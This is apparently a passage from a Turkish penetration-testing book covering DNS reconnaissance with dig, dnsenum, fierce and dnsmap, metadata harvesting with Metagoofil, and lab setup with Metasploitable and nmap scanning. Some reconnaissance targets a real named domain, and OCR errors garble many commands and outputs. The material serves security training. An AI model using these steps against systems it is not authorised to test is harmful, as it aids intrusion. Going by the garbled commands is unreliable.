; <<>> DiG 9.8.4-rpz2+r1005.12-P1 <<>> @8.8.8.8 ulugay.com -t
AXFR

; (1 server found)

;7 global options: +cmd

Simdi baska bir deneme yapalim. “dig any alan_adi” seklinde sorgulayarak
ne getirebildigimize bakalim.

dig any ulugay.com

; <<>> DiG 9.9.5-9+deb8u3-Debian <<>> any ulugay.com

;7 global options: +cmd

;7 Got answer:

;; —>>HEADER<<- opcode: QUERY, status: NOERROR, id: 61390

;; flags: gr rd ra; QUERY: 1, ANSWER: 6, AUTHORITY: O,
ADDITIONAL: 6

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4000
;7 QUESTION SECTION:

;ulugay.com. IN ANY

;; ANSWER SECTION:

ulugay.com. 0 IN A 50.63.202.44

ulugay.com. 0 IN NS nsl4d.domaincontrol.com.
ulugay.com. 0 IN NS nsl3.domaincontrol.com.
ulugay.com. 0 IN SOA nsl3.domaincontrol.com.

dns.jomax.net. 2015021804 28800 7200 604800 600

ulugay.com. 0 IN MX 10
mailstorel.europe.secureserver.net.




ulugay.com. 0 IN MX 0
smtp.europe.secureserver.net.

;; ADDITIONAL SECTION:

nsl4.domaincontrol.com. 52194 IN A 208.109.255.7
nsl4d.domaincontrol.com. 76326 IN AAAA 2607:£208:302::7
nsl3.domaincontrol.com. 52194 IN A 216.69.185.7
nsl3.domaincontrol.com. 72895 IN AAAA 2607:£208:206::7

smtp.europe.secureserver.net. 1320 IN A 188.121.52.56

;7 Query time: 131 msec
;; SERVER: 192.168.97.20#53(192.168.97.20)
;; WHEN: Mon Dec 21 18:10:12 EET 2015

;; MSG SIZE rcvd: 328

Gorduglinitiz Gzere NsLookup ile elde ettigimizden daha fazla bir sonuca
ulasamadik. Yalniz burada bir deneme daha yapmamiz lazim, o da dogru ad
sunucusundan kayitlari transfer etmeye calismak (dig komutunun dogru
kullanimi ancak dogru ad sunucusu ile olacaktir.) Yukaridaki sonuglari
inceledigimizde bu alan icin kullanilan ad sunucularinin ns14.domaincontrol.com ve
ns13.domaincontrol.com oldugunu goriyoruz. Bu durumda DNS ile ilgili asil bilgi
kaynagimiz da bu ad sunuculari. Simdi tekrar dig komutunu calistirarak transfer
denemesi yapalim. Once ping ile IP adresini 6greniyoruz:

# ping nsl3.domaincontrol.com

PING nsl3.domaincontrol.com (216.69.185.7) 56(84) bytes of
data.

64 bytes from nsl3.domaincontrol.com (216.69.185.7):
icmp seg=1 ttl=47 time=59.5 ms

64 bytes from nsl3.domaincontrol.com (216.69.185.7):
icmp seg=2 ttl=47 time=55.1 ms




Daha sonra bu adrese sorgu yaptigimizda, gérdigliniz gibi yine basarisiz
olduk.

dig @216.69.185.7ulugay.com -t AXFR

;; communications error

Simdi ayni denemeyi “dnsenum” komutuyla yapalim. Bu komut da DNS ile
ilgili bulabildigi kayitlari getirecek ve ayni zamanda kayitlari transfer etmeyi
deneyecektir. Komut “dnsenum alan_adi” seklinde.

dnsenum ulugay.com

dnsenum.pl VERSION:1.2.3

Host's addresses:

ulugay.com. 598 IN A 50.63.202.44

Name Servers:

nsld.domaincontrol.com. 51896 IN A 208.109.255.7

nsl3.domaincontrol.com. 51896 IN A 216.69.185.7

Mail (MX) Servers:




smtp.europe.secureserver.net. 1022 IN A
188.121.52.56

mailstorel.europe.secureserver.net. 403 IN A
188.121.52.57

Trying Zone Transfers and getting Bind Versions:

Trying Zone Transfer for ulugay.com on nsl3.domaincontrol.com

AXFR record query failed: truncated zone transfer

Trying Zone Transfer for ulugay.com on nsl4.domaincontrol.com

AXFR record query failed: truncated zone transfer

brute force file not specified, bay.

Yukarida gorildigu Uzere transfer yine basarisiz oldu. Sadece ad ve e-posta
sunuculariyla ilgili bilgi getirebildi. Sorguladigimiz ad sunucusu Godaddy’ye ait
bir sunucu ve glivenlige oldukca dikkat ediyorlar. Google icin de ayni durum s6z
konusu. Fakat sizin sorguladiginiz sirket giivenlik konusunda daha dikkatsiz
olabilir. Bu ylizden dig ve dnsenum ile sansinizi denemenizde fayda var.

Ek Bilgi:

dig ve dnsenum komutlarini usewithtor ile kullanamazsiniz. Tor UDP ve ICMP trafigi




desteklemedigi icin hata verecektir.

“fierce” ve “dnsmap” komutlari:

dig ve dnsenum kisminda gorduigiiniz gibi ad sunucularindan transfer
denememiz basarisiz oldu. Bu durumda siradaki yontem taramayla bu bilgilere
ulagsmaya calismak. Bu komutlarin kendi s6zltkleri var ve bu sozliiklerdeki
kelimelere gére deneme yapiyorlar.

fierce ile baslayalim. Komutumuz “fierce -dns alan_adi” seklinde. Fierce de
once transfer denemesi yaparak sansini deneyecek, eger olmazsa kelime
denemelerine baslayacaktir. Bu komutu kullanmak ¢ok da hos karsilanmayacagi
icin ilgili alan adini kapatarak sonuglari verecegim.

# fierce -dns *.com
DNS Servers for *.com:
kay.ns.cloudflare.com

seth.ns.cloudflare.com

Trying zone transfer first...
Testing kay.ns.cloudflare.com
Request timed out or transfer not allowed.
Testing seth.ns.cloudflare.com

Request timed out or transfer not allowed.

Unsuccessful in zone transfer (it was worth a shot)

Okay, trying the good old fashioned way... brute force

Checking for wildcard DNS...




Now performing 2280 test(s)...
82.*.* . *ftp.*.com

82.*.* . *hr.*.com

Yukarida biitlin sonuglari listelemedim. Ama gorildigu tzere hr ve ftp ile
baslayan iki alt alan ve onlarin IP adreslerini buldu. Yapmamiz gereken, ilgili
detaylari kesif raporuna ekleyip yolumuza devam etmek.

Son olarak dnsmap komutunu inceleyelim. Komutumuz “dnsmap alan_adi”.
Asagida goruldigu sekilde bu komutla ayni alan adlarina ulastik.

dnsmap *.com

dnsmap 0.30 - DNS Network Mapper by pagvac (gnucitizen.orq)

[+] searching (sub)domains for *.com.tr using built-in
wordlist

[+] using maximum random delay of 10 millisecond(s) between
requests

ftp.*.com

IP address #1: 82.* . * *

hr.*.com

IP address #1: 82.*.* *

Ek Bilgi:

dnsmap ve fierce komutlarini proxychains komutu ile denedigimizde fierce’in hata

verdigini ama dnsmap komutunun ¢alistigini géreceksiniz. Hatta daha 6nce




bahsettigimiz iptables kurallarini devreye sokup Tor agi harici bir trafige izin
vermedigimizde dahi dnsmap, proxychains ile problemsiz ¢calismakta. Bu durumda
gizliligi esas alarak dnsmap’i tercih edebiliriz.

Metagoofil

Metagoofil ile bir sitedeki dosyalari aratip bu dosyalarin Gzerindeki
verilerden (metadata verisinden) kullanici adi, e-posta gibi verileri derlememiz
mumkun. Ayrica doc, docx, xls, xlsx, ppt, pptx, pdf gibi dosya formatlarini
indirerek size ilging gelenleri inceleyebilirsiniz. Mesela bilgi glivenligi proseduiri
bir Word dosyasi olarak karsiniza ¢ikabilir ve size cok degerli bilgiler verebilir.

Oncelikle metagoofil’i indirmek icin asagidaki komutu kullanalim:

apt-get install metagoofil

Simdi komut detaylarina gecelim:

metagoofil -d siteadi -t doc,xls,xlsx,docx -1 50 -n 10 -o
resultfiles -f result

-d parametresiyle site adresini giriyoruz.

-t ile dokiman tiplerini segiyoruz.

-l ile toplam indirecegimiz dosya sayisi sinirini,
-n ile her dosya tipi icin ka¢ adet indirecegimizi,
-0 ile hangi dizine dosyalarin kaydedilecegini,

-f ile rapor sonucumuzun yazilacagi dosya adini belirliyoruz.



Ornek ekran gériintiisiinii asagida gorebilirsiniz:

i~/meta# metagoofil -d .com -t doc,xls,x] ¢ -1 50 -n 10 -0 resultfiles
-f result.html

. _
o

\ .
b

-security.com
B B o S

[-] Starting online search...

[-] Searching for doc files, with a limit of 50
Searching 1 results...
1600 files found
ownload 10 of them:

p7hl=en
Error dow

Ornek sonug raporu ise su sekilde:



{_IMetagoofil results | ) |

| file:///root/meta/result.html A G’i lBV Jle Q| ﬁ?

Metagootil results i

Results for:

51%
31%
18%
28 17 0 10
Usernames || Software || Emails || Paths/Servers

User names found:

® Arjan
® Arjan
® milovina
e Peter
® Arjan
® Susan

& DataT w

Yukarida gordiigiiniiz gibi metagoofil kullanici adlari, yazilimlar, e-postalar ve
dosyalarin bulundugu dizinler gibi bircok faydali bilgi verebiliyor. Bunun
haricinde inen dosyalarin isimlerini ve genel iceriklerini de incelemenizde fayda
var. Bazen kullanici adi ve sifre bilgilerini bile bu dosyalardan birinde
bulabilirsiniz.

OzET

Bu bélimde kesif agamasinin ne oldugunu ve ne gibi bilgileri
toplayabilecegimizi gordik. Bu bilgileri toplamak icin degisik uygulamalari nasil
kullanabilecegimizi 6grendik. Elde ettigimiz bilgileri iyi bir sekilde kayit altina



almamiz gerektigini tekrar hatirlatmakta fayda var. Bu bilgiler hem sosyal
muihendislik hem de zafiyet taramasinda ¢ok isimize yarayacak.

Bu boéliimde neler yaptik?

e Web sitesi incelemesi ve bilgi toplama

e Torileizlerimizi kapatma

e HTTrack ile site kopyalama

e Arama motorlari Gizerinden bilgi toplama

e LinkedIn Gzerinde ¢alisan bilgilerini toplama

e theHarvester ile e-posta ve alan adi bilgilerini toplama

e NsLookup, Whois ve host kullanarak IP ve alan adi detaylarina ulasma

e dig, dnsenum, fierce, dnsmap ile alan adiyla ilgili daha fazla bilgiye
ulasma

e Metagoofil ile sitedeki dosyalari bulma ve analiz etme



DORDUNCU BOLUM

ZAFIYET TARAMASI

Zafiyet taramasi nedir?

Zafiyet taramasi, sizma testinde ikinci asama. Bu asamada bir 6nceki
boélimde tespit ettigimiz IP adresleriyle ilgili daha detayli tarama yapacagiz. Bir
sirketin web sitesi varsa e-posta, telefon, video konferans ve disa agik olmasi
gereken hizmetlerden faydalaniyorsa elbette tarama yapabilecegimiz IP
adresleri ve bu adreslerin hizmet veren acik kapilari (port) olacaktir.

Zafiyet taramasi ile IP adresleri (izerinden port taramasi yapacagiz. Once
hangi servislerin calistigini tespit edecegiz. Daha sonra ilgili servisler i¢in daha
detayli zafiyet analizleri yapacagiz. Ayrica ilgili sirketin icinden de zafiyet
taramasi yapabileceginizi diistinerek canli IP adreslerinin tespitine de yer

verecegiz.

Zafiyet taramasini tamamladigimizda ne gibi agikliklar oldugunu tespit
ederek hangi yollarla mevcut hedefleri ele gecirebilecegimiz konusunda daha
fazla fikir sahibi olacagiz.

Bu bolimde ve sonraki bélimlerde yapacagimiz tarama ve saldirilari daha
Oonce bahsettigimiz Metasploitable ve De-ICE gibi sizma testi laboratuvarimizda

calistiracagimiz sistemler lzerinde deneyecegiz.

Agdaki aktif cihazlar tespit etmek



Sizma testi hem disaridan hem iceriden saldiriyi kapsayacagindan ag icinde
tarama yaparak canl hedefleri bulmayi da bilmemiz gerekiyor. Bunun igin iki
farkli yazilim kullanacagiz: Netdiscover® ve nmap.

Netdiscover komutu:

Bu komutla aktif ve pasif tarama yapabiliyoruz. Amacimiz, “belli IP
araliklarinda hedef listemize ekleyebilecegimiz sistemler olup olmadigini”
kontrol etmek. Eger sistemde tarama yaptigimizin hi¢ anlasiimamasi
gerekiyorsa komutu pasif olarak calistirabiliriz.

Komutu nasil calistiracagimizi inceleyelim. Asagida komut 6rnegi bulunuyor:

# netdiscover -i eth0 -r 192.168.1.0/24 -p

a :n
-1

ile ag araylzunu belirliyoruz. Kali’de girecegimiz arayliz adi “eth0”
olacak.

“-r” ile araligi belirliyoruz. Burada 192.168.1.0/24 ile 192.168.1.1-
192.168.1.254 araligini taramasini istiyoruz.

“-p”yi pasif modda calistirmak icin kullaniyoruz.

Komutu pasif olarak calistirdigimizda ¢ok fazla bir sonug beklemeyin.
Ornegimizin verdigi sonuc da sadece modem IP’si oldu.

root@kali: ~

File Edit View Search Terminal Help

Currently scanning: (passive) | Screen View: Unique Hosts

1 Captured ARP Req/Rep packets, from 1 hosts. Total size: 60

Netdiscover’dan ¢ikmak igin CTRL ve C tuslarina beraber basmaniz gerekiyor.

® http://sourceforge.net/projects/netdiscover/



Bu sefer pasif mod olmadan deneyelim. “-p” yazmadan komutumuzu
calistiralhm.

# netdiscover -i eth0 -r 192.168.1.0/24

Asagida gordiguniiz gibi baska IP’ler de bulduk:

root@kali: ~

File Edit View Search Terminal Help
Currently scanning: Finished! | Screen View:

4 Captured ARP Req/Rep packets, from 3 hosts.

Count Len

A2 120 wn v
01 0 nown v
01

Nmap komutu:

Nmap komutunu simdilik sadece aktif IP adreslerini bulmak igin kullanacagiz;
ama sonraki bolimlerde bircok test ve analiz icin nmap’e yine basvuracagiz.

Tarama icin yazacagimiz komut “nmap -sP IParalig”.

# nmap -sP 192.168.1.0/24

Starting Nmap 6.45 ( http://nmap.org ) at 2014-05-11 00:26
EEST

Nmap scan report for 192.168.1.1

Host is up (0.0043s latency).

MAC Address: 24:69:A5:AC:8B:0E (Huawei Technologies Co.)
Nmap scan report for 192.168.1.20

Host is up (0.044s latency).

MAC Address: E0:B9:BA:7F:6F:57 (Apple)

Nmap scan report for 192.168.1.21

Host is up (0.00029s latency).




MAC Address: 28:CF:E9:1D:8C:81 (Apple)

Nmap scan report for 192.168.1.23

Host is up (0.050s latency).

MAC Address: 94:44:44:0A:1B:9D (LG Innotek)
Nmap scan report for 192.168.1.26

Host is up (0.085s latency).

MAC Address: 5C:96:9D:24:D9:CE (Apple)

Nmap scan report for 192.168.1.28

Host is up.

Nmap done: 256 IP addresses (6 hosts up) scanned in 27.82
seco

Yukarida gorildigu tzere daha fazla sonug aldik. Ayrica nmap basarili bir
sekilde cihazlarin Uretici firma bilgilerini de buldu. Su durumda nmap ile tarama
yapmamiz daha iyi bir tercih olarak gorintyor.

Eger nmap ile farkl araliklar tanimlamamiz gerekiyorsa asagidaki
komutlarda oldugu gibi 6rnekleri siz cogaltabilirsiniz:

# nmap -sP 192.168.1.1-10 192.168.2.1-30

# nmap -sP 192.168.1.0/24 192.168.2.0/24

ilk hedef bilgisayarlarimiz

Sizma testi laboratuvarimiza ilk hedef olarak Windows XP SP1 ve
Metasploitable ekleyecegiz. Windows XP bulmasi biraz zor olabilir ama tozlu
raflardan, ikinci el sitelerinden veya arsivinizden bulabilirseniz ¢ok isinize yarar.
Yama seviyesi SP1 olursa ¢ok daha kullanish olur ¢link ilk bastaki



hedeflerimizin kolay olmasi ve rahat ele gecirilebilir olmasi alistirmalar

yapabilmemiz ve ilerleyebilmemiz agisindan énemli.

Eger Windows XP bulursaniz Kali kurulumundaki adimlara benzer adimlarla
VirtualBox’a ekleyip kurulum yapabilirsiniz. Windows kurulum adimlarini detayl

olarak vermeyecegim.

Ek Bilgi:

Windows XP’yi kurduktan sonra ag arayiizii dogru olarak ¢alismiyorsa “Intel
PRO/1000 MT Desktop driver” aramasi yapip suriicilerini indirmeniz ve XP’ye kurmaniz

gerekebilir. Ayrica 6nce VirtualBox eklentilerini kurmayi da unutmayin.

Metasploitable:

Metasploitable kurmak icin 6nce indirmemiz gerekiyor. Bunun igin
http://sourceforge.net/projects/metasploitable/ sitesine girip “Download”a

tiklayalim.


http://sourceforge.net/projects/metasploitable/

Home / Browse / Security & Utilities / Security / Metasploitable

MetasPIOItable
Metasploitable is an intentionally vulnerable Linux virtual machine
Brought to you by: hitmfd

Summary Files Reviews  Support Wiki

* 5.0 Stars (8)
¥ 2,346 Downloads
i Last Update: 2012-06-13

Browse All Files

Description

This is Metasploitable2 (Linux)

Metasploitable-linux-2.0.0.zip dosyasi indikten sonra zip’i aciyoruz.
Karsimiza Metasploitable2-Linux seklinde bir dizin gelecek. Bundan sonra
Metasploitable’i VirtualBox’a tanitiyoruz. Yine VirtualBox'ta “New” digmesine
tikhyoruz.



File Machine Help

Create new virtual machine

¢3 Details Snapshots

' [E] General
Name: Kali Linux
Operating System: Debian (64-bit)
m System
Base Memory: 2048 MB
Boot Order: Floppy, Optical, Hard Disk

Acceleration:  VT-x/AMD-V, Nested Paging, KVM
\ Paravirtualization

' & pisplay
Video Memory: 12MB
Remote Desktop Server: Disabled
Video Capture: Disabled
Storage
Controller: IDE

IDE Secondary Master: [Optical Drive] Empty
Controller: SATA

SATA Port 0: Kali Linux.vdi (Normal, 40.00 GB)
" (I Audio

Host Driver: Windows DirectSound
Controller:  ICH ACS7

@ Network
Adapter 1:  Intel PRO/1000 MT Desktop (Host-only Adapter, 'VirtualBox Host-Only Ethernet Adapter”)

(& usB

USB Controller:  xHCI
. Device Filters: 1 (1 active)

' [] Shared folders

Chared Faldere: 1

>

m

Karsimiza cikan ekranda bilgileri asagidaki gibi dolduruyoruz ve “Next” ile

devam ediyoruz.



\ Create Virtual Machine

Name and operating system

Please choose a descriptive name for the new virtual machine and select the
type of operating system you intend to install on it. The name you choose will
be used throughout VirtualBox to identify this machine.

Name: metasploitable

Type: [Linux S ]

Version: [Other Linux (64-bit) 2 ]

[ExpertMode] [ Next ] [ Cancel

“Memory size”1 (hafiza boyutu) 512MB olarak birakip devam ediyoruz. Bir
sonraki ekran sabit disk secimi olacak. Asagidaki gibi “var olan diski kullan”
segenegine tiklayip indirdigimiz ve actigimiz Metasploitable2-Linux dizini icinde

yer alan Metasploitable.vmdk dosyasini secelim ve “Create” ile devam edelim.



@ Creaté.‘lim‘ Machine

-

Hard disk

If you wish you can add a virtual hard disk to the new machine. You can either
create a new hard disk file or select one from the list or from another location
using the folder icon.

If you need a more complex storage set-up you can skip this step and make
the changes to the machine settings once the machine is created.

The recommended size of the hard disk is 8.00 GB.
() Do not add a virtual hard disk

() Create a virtual hard disk now

@ Use an existing virtual hard disk file

| Metasploitable.vmdk (Normal, 8.00 GB) - @

[CreaheJ[ Cancel ]

Asagida goruldigi sekilde laboratuvarimiza Metasploitable eklenmis olacak.
Son olarak, dosya seciliyken “Start” diigmesine basarak baslatiyoruz.



§% Oracle VM Vi —

File Machine Help

@ B P

New Settings Discard Start

[4E5] Kali Linux

((@" Gy Running

(@3 Snapshots

[E] General [ Preview = ‘
Name: metasploitable |
Operating System: Other Linux (64-bit)

m System

Base Memory: 512MB metasploitable

Boot Order: Floppy, Optical, Hard Disk

Acceleration:  VT-x/AMD-V, Nested Paging, PAE/NX, KVM
Paravirtualization

Display

Video Memory: 12MB
Remote Desktop Server: Disabled
Video Capture: Disabled

m

Storage
Controller: IDE

IDE Primary Master: Metasploitable. vmdk (Normal, 8.00 GB)
IDE Secondary Master: [Optical Drive] Empty

(8 Audio

Host Driver:  Windows DirectSound

Controller:  ICH AC97

®P Network

Adapter 1: Intel PRO/1000 MT Desktop (NAT)

(¥ usB

Acildiginda asagidaki sekilde bir ekran gelecek. Gordugliniz sekilde kullanici

adi ve sifre olarak “msfadmin” ile giris yapabilirsiniz. Artik bilgisayarimiz saldiri

icin hazir.



s

+| metasploitable [Running] - Oracle VM VirtualBox

* Starting deferred execution scheduler atd
* Starting periodic command scheduler crond
* Starting Tomcat servlet engine tomcatS5.5
* Starting web server apacheZl
* Running local boot scripts (retcs/rc.local)
mohup: appending output to "nohup.out’
mohup: appending output to “nohup.out’

Warning: Never expose this UM to an untrusted network?
Contact: msfdevlatlImetasploit.com

ogin with msfadmin/msfadmin to get started

etasploitable login: _

B & @ =@ @ @ @ RightControl

VirtualBox’ta ag ayari

VirtualBox ag ayarlariyla kapali ag olusturmak daha sonraki calismalarimizda
onemli bir asama olacak. Kapali ag sayesinde Windows XP SP1 ve
Metasploitable gibi sistemleri disariya acik birakmamiz sonucunda olusacak
guvenlik agiklarina erisimin engellenmesini saglayabiliriz. Ayrica saldiri ve
taramalarimiz disari ¢itkmadigi icin yasal sorunlarla da karsilasmamis oluruz.

Yukaridaki sebeplerden dolayi sadece bilgisayarimizin igcinde calisan ve
disariya acik olmayan kapal bir ag olusturarak yolumuza devam edecegiz.

Once VirtualBox'ta Kali, Metasploitable, Windows XP gibi bilgisayarlar aciksa
kapatiyoruz. Sonra VirtualBox list menustinden “Preferences”e (Tercihler) girip
“Network” (Ag) sekmesine tikliyoruz. Asagidaki sekilde bir ekran gelecek. Once
“Host-only Networks” yani ‘sadece bilgisayarimizda ¢alisacak bir network’



tanimlama sekmesine tikliyoruz. Sonra “+” isaretine tikladigimizda VirtualBox
kendisi bir isim vererek yeni bir ag tanimi olusturuyor. Ornegimizdeki isim
“VirtualBox Host-Only Ethernet Adapter”.

= & N
5 VirtualBox - Preferences - @Iﬁ

General Network ‘ l
|

Input NAT Networks | Host-only Networks

Update VirtualBox Host-Only Ethernet Adapter

Language

s Tl

Display
Network

Extensions

=l IR SRR

Proxy

| ok || cancel || Hep |

“VirtualBox Host-Only Ethernet Adapter” yazisina cift tikladigimizda
karsimiza kapali agimizin ayarlari gelecek. Ornekteki ag araligimiz 10.10.56.1-
254 olacak. Bu durumda ayni aga ekledigimiz bittn bilgisayarlar bu araliktan IP

alacaklar.



(7 VirtualBox - Preferences B weos x |

] ;‘.MLLLM .
; &/ Host-only Network Details 2] & )
" adspter | DHOP Server |
@ k3
G IPv4 Address:  10.10.56.1 E
IPv4 Network Mask:  255,255.255.0 A &

IPv6 Address: | |
@ IPv6 Network Mask Length: ‘ ‘
[ ok ][ canel |

\ T Y,

ok J[ conced |[ tep |

Ayrica son olarak DHCP server ayarlarini da asagidaki sekilde ayarlyoruz.

;;.u.an_]_l_nenm .
@ & Host-only Network Details ‘_@—SSI
@ OGP Servr »
Enable Server =

G Server Address:  10.10.56.1 &
Server Mask: 255,255.255.0
@ Lower Address Bound: 10.10.56.1
Upper Address Bound: 10.10.56.254
Lok J[ concel |

L y,

e
ok J[ concel [[ tep |
[N - .




Asagidaki sekilde goruldigu tzere su anda laboratuvarimizda tg adet
bilgisayar oldu. Simdi bu bilgisayarlari sirayla kapali agimiza aktariyoruz. Bunun
icin once ilgili bilgisayara bir defa tikliyor ve sonra Ustteki “Settings” ikonuna

tikhyoruz.

s O -

New Settings Discard Start

@ General
Name:

O metasploitable Operating System
% | @ Powered Off B system
&1 Windows XP sp1 Base Memory: 2
L Xpi G Running BootOrder:  Fl

Acceleration: V
Pi

Display

Gelen ekranda “Network” (Ag) sekmesine tikliyoruz ve ayarlari asagidaki gibi
giriyoruz. Bu ayarlari hem Kali hem Metasploitable ve (eger bulup kurduysaniz)
Windows XP icin yapmamiz gerekiyor. Yalniz “Advanced” (ileri seviye) ayarlari
sadece Kali icin yapacagiz. “Promiscuous Mode” ile agda Kali’ye adresli olmayan
trafikleri de alabilecegiz.



£2) Kali Linux - Settings 1 W ® on— |2 [mdlem]”

Cable Connected
Shared Folders

Port Forwarding

User Interface

@ General Network
System Adapter 1 l Adapter 2 I Adapter 3 | Adapter 4 ‘
Display [¥] Enable Network Adapter
Stiate Attached to: [Host-only Adapter v]
. Name: [VurtualBox Host-Only Ethernet Adapter v ] !
B Audio
V¥ Advanced
[@ Network Adapter Type: |Intel PRO/1000 MT Desktop (32540EM) v
@ Serial Ports ’ Promiscuous Mode: [Allow All v ]
ﬁ USE MAC Address: 080027520100 @

[ ok || cancel || Heb

Bltlin ayarlari yaptiktan sonra (g bilgisayari da aciyoruz. Simdi Kali
Uzerinden tekrar ag taramasi yapacagiz ve ilgili bilgisayarlarin IP adreslerini
bulmaya calisacagiz. Ug bilgisayar da acildiktan sonra Kali’de Terminal’i
aclyoruz. Terminal’de 6nce “ifconfig” komutuyla IP ve ag arayuzlerinin

durumuna bakalim.

# ifconfig
ethO Link encap:Ethernet HWaddr 08:00:27:52:01:00

inet addr:10.10.56.1 Bcast:10.10.56.255
Mask:255.255.255.0

inet6 addr: fe80::a00:27ff:fe52:100/64 Scope:Link

UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1

RX packets:11l errors:0 dropped:0 overruns:0 frame:0
TX packets:48 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000

RX bytes:1925 (1.8 KiB) TX bytes:8418 (8.2 KiB)




lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:65536 Metric:1
RX packets:20 errors:0 dropped:0 overruns:0 frame:0
TX packets:20 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txgqueuelen:0

RX bytes:1200 (1.1 KiB) TX bytes:1200 (1.1 KiB)

“UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1” satirinda
gordiginuz gibi Kali’de aldigimiz IP 10.10.56.1 ve PROMISC olarak “eth0”da bir
detay géremiyoruz. Yani “promiscuous mode” aktif degil. Simdi aktive etmek
icin “ifconfig ethO promisc” yazalim. Daha sonra iptal etmek icin “ifconfig ethO -
promisc” komutunu kullanabiliriz.

# ifconfig ethO promisc
# ifconfig
ethO Link encap:Ethernet HWaddr 08:00:27:52:01:00

inet addr:10.10.56.1 Bcast:10.10.56.255
Mask:255.255.255.0

inet6 addr: fe80::a00:27ff:fe52:100/64 Scope:Link

UP BROADCAST RUNNING PROMISC MULTICAST MTU:1500 Metric:1
RX packets:11 errors:0 dropped:0 overruns:0 frame:0

TX packets:48 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000

RX bytes:1925 (1.8 KiB) TX bytes:8418 (8.2 KiB)

lo Link encap:Local Loopback




inet addr:127.0.0.1 Mask:255.0.0.0

inet6 addr: ::1/128 Scope:Host

UP LOOPBACK RUNNING MTU:65536 Metric:1

RX packets:20 errors:0 dropped:0 overruns:0 frame:0
TX packets:20 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0

RX bytes:1200 (1.1 KiB) TX bytes:1200 (1.1 KiB)

Yukarida kirmizi yaziyla gérdugliniiz gibi ethO artik PROMISC aktif olarak
calismaya basladi. Simdi netdiscover ile deneme yapabiliriz.

# netdiscover -i ethO -r 10.10.56.0/24 -p

root@kali: ~

File Edit View Search Terminal Help

Currently scanning: (passive) | Screen View: Unique Hosts

4 Captured ARP Req/Rep packets, from 2 hosts. Total size: 240
At MAC Address Count Len MAC Vendor

08:00:27:63:70:1c 02 1260 CADMUS COMPUTER SYSTEMS
08:00:27:c5:8a:e5 120 CADMUS COMPUTER SYSTEMS

Yukarida gorildigi tzere hem ayni “vlan” sanal agda olmamiz hem de
promiscuous modunun acik olmasi sayesinde ilgili aralikta netdiscover pasif
modda yeterli sonug getirdi. Pasif modda oldugumuz igin sonug geg gelebilir.
Hizli sonug almak icin agdaki diger cihazlarimizda network trafigi olusturabiliriz.
Bunun igin Windows XP makinemizden Metasploitable makinesine ping
atabiliriz.

Son olarak nmap taramasiyla asagi yukari ayni sonuglari aldigimizi
gorebilirsiniz.



# nmap -sP 10.10.56.0/24

Starting Nmap 7.00 ( https://mmap.org ) at 2015-12-31 18:23
EET

mass_dns: warning: Unable to determine any DNS servers.

Reverse DNS is disabled. Try using --system-dns or specify valid
servers with --dns-servers

Nmap scan report for 10.10.56.2
Host is up (0.00097s latency).

MAC Address: 08:00:27:C5:8A:E5 (Oracle VirtualBox virtual
NIC)

Nmap scan report for 10.10.56.3
Host is up (0.00093s latency).

MAC Address: 08:00:27:63:70:1C (Oracle VirtualBox virtual
NIC)

Nmap scan report for 10.10.56.1
Host is up.

Nmap done: 256 IP addresses (3 hosts up) scanned in 1.97
seconds

Nmap

Nmap genis aglarda tarama yapabilecegimiz, sunucu ve kullanici
bilgisayarlarinda calisan servisleri bulabilecegimiz bir aractir. Nmap hem TCP
hem UDP destekler. Nmap ile ayrica zafiyet taramasi da yapilabilir. Nmap hem
hacker hem sistem yoneticisi tarafindan kullanilabilecek ve her zaman elimizin
altinda olmasi gereken yazilimlardan biridir.



Ek Bilgi:

ingilizce bilenlerin nmap.org sitesini ve Paulino Calderén Pale’in Nmap 6: Network
Exploration and Security Auditing Cookbook kitabini incelemeleri gok faydali olacaktir.

Nmap TCP baglantisiyla tarama:

Bir TCP baglantisinin saglanabilmesi icin iki bilgisayar arasinda Ug defa bilgi
alisverisi olmasi gerekiyor. Once ilgili “port”a (kapi) bir SYN paketi gdnderilir.
Bunu alan bilgisayar SYN/ACK olarak cevap verir. SYN/ACK'i alan bilgisayar ACK
paketi gonderir. Bu sekilde bir TCP baglantisi saglanmis olur.

Simdi bir deneme yapalim. “Nmap -sP” ile tarama yaptigimizda gérdigimuiz
canl IP adreslerinden birisi 10.10.56.2 idi (Sizde farkli IP’ler ¢ikabilir. Buna gore
ornekteki IP’yi degistirmeniz gerekecek.) Kullanacagimiz parametre “-sT” TCP
baglantisiyla port taramasi yapacak. Eger bir port numarasi vermezsek en ¢ok
nmap kullanilan 1000 portu tarayacak. Asagida gorildigi gibi Metasploitable
icin bircok acik port ve ilgili hizmet bulundu:

# nmap -sT 10.10.56.2

Starting Nmap 7.00 ( https://mmap.org ) at 2015-12-30 17:15
EET

mass_dns: warning: Unable to determine any DNS servers.
Reverse DNS is disabled. Try using --system-dns or specify valid
servers with --dns-servers

Nmap scan report for 10.10.56.2
Host is up (0.00073s latency).
Not shown: 977 closed ports
PORT STATE SERVICE

21/tcp open ftp

22/tcp open ssh



http://nmap.org/

23/tcp open t

25/tcp open s

elnet

mtp

53/tcp open domain

80/tcp open h
111/tcp open
139/tcp open
445/tcp open
512/tcp open
513/tcp open

514/tcp open

1099/tcp open rmiregistry

1524 /tcp open
2049/tcp open
2121 /tcp open
3306/tcp open
5432 /tcp open
5900/tcp open
6000/tcp open
6667/tcp open
8009/tcp open
8180/tcp open

MAC Address:
NIC)

Nmap done: 1

ttp

rpcbind
netbios-ssn
microsoft-ds
exec

login

shell

ingreslock
nfs
ccproxy-ftp
mysqgl
postgresqgl
vnc

X11

irc

ajpl3

unknown

08:00:27:C5:8A:E5

(Oracle VirtualBox virtual

IP address (1 host up) scanned in 0.33 seconds




Asagidaki 6rnekte ise sadece 21 numarali portu tariyoruz. Bunun igin
kullandigimiz parametre “-p port numarasi”. Eger “-p-” kullanirsak 65535
portun hepsini tarayacak.

# nmap -sT -p 21 10.10.56.2

Starting Nmap 7.00 ( https://nmap.org ) at 2015-12-30 17:16
EET

mass_dns: warning: Unable to determine any DNS servers.
Reverse DNS is disabled. Try using --system-dns or specify valid
servers with --dns-servers

Nmap scan report for 10.10.56.2
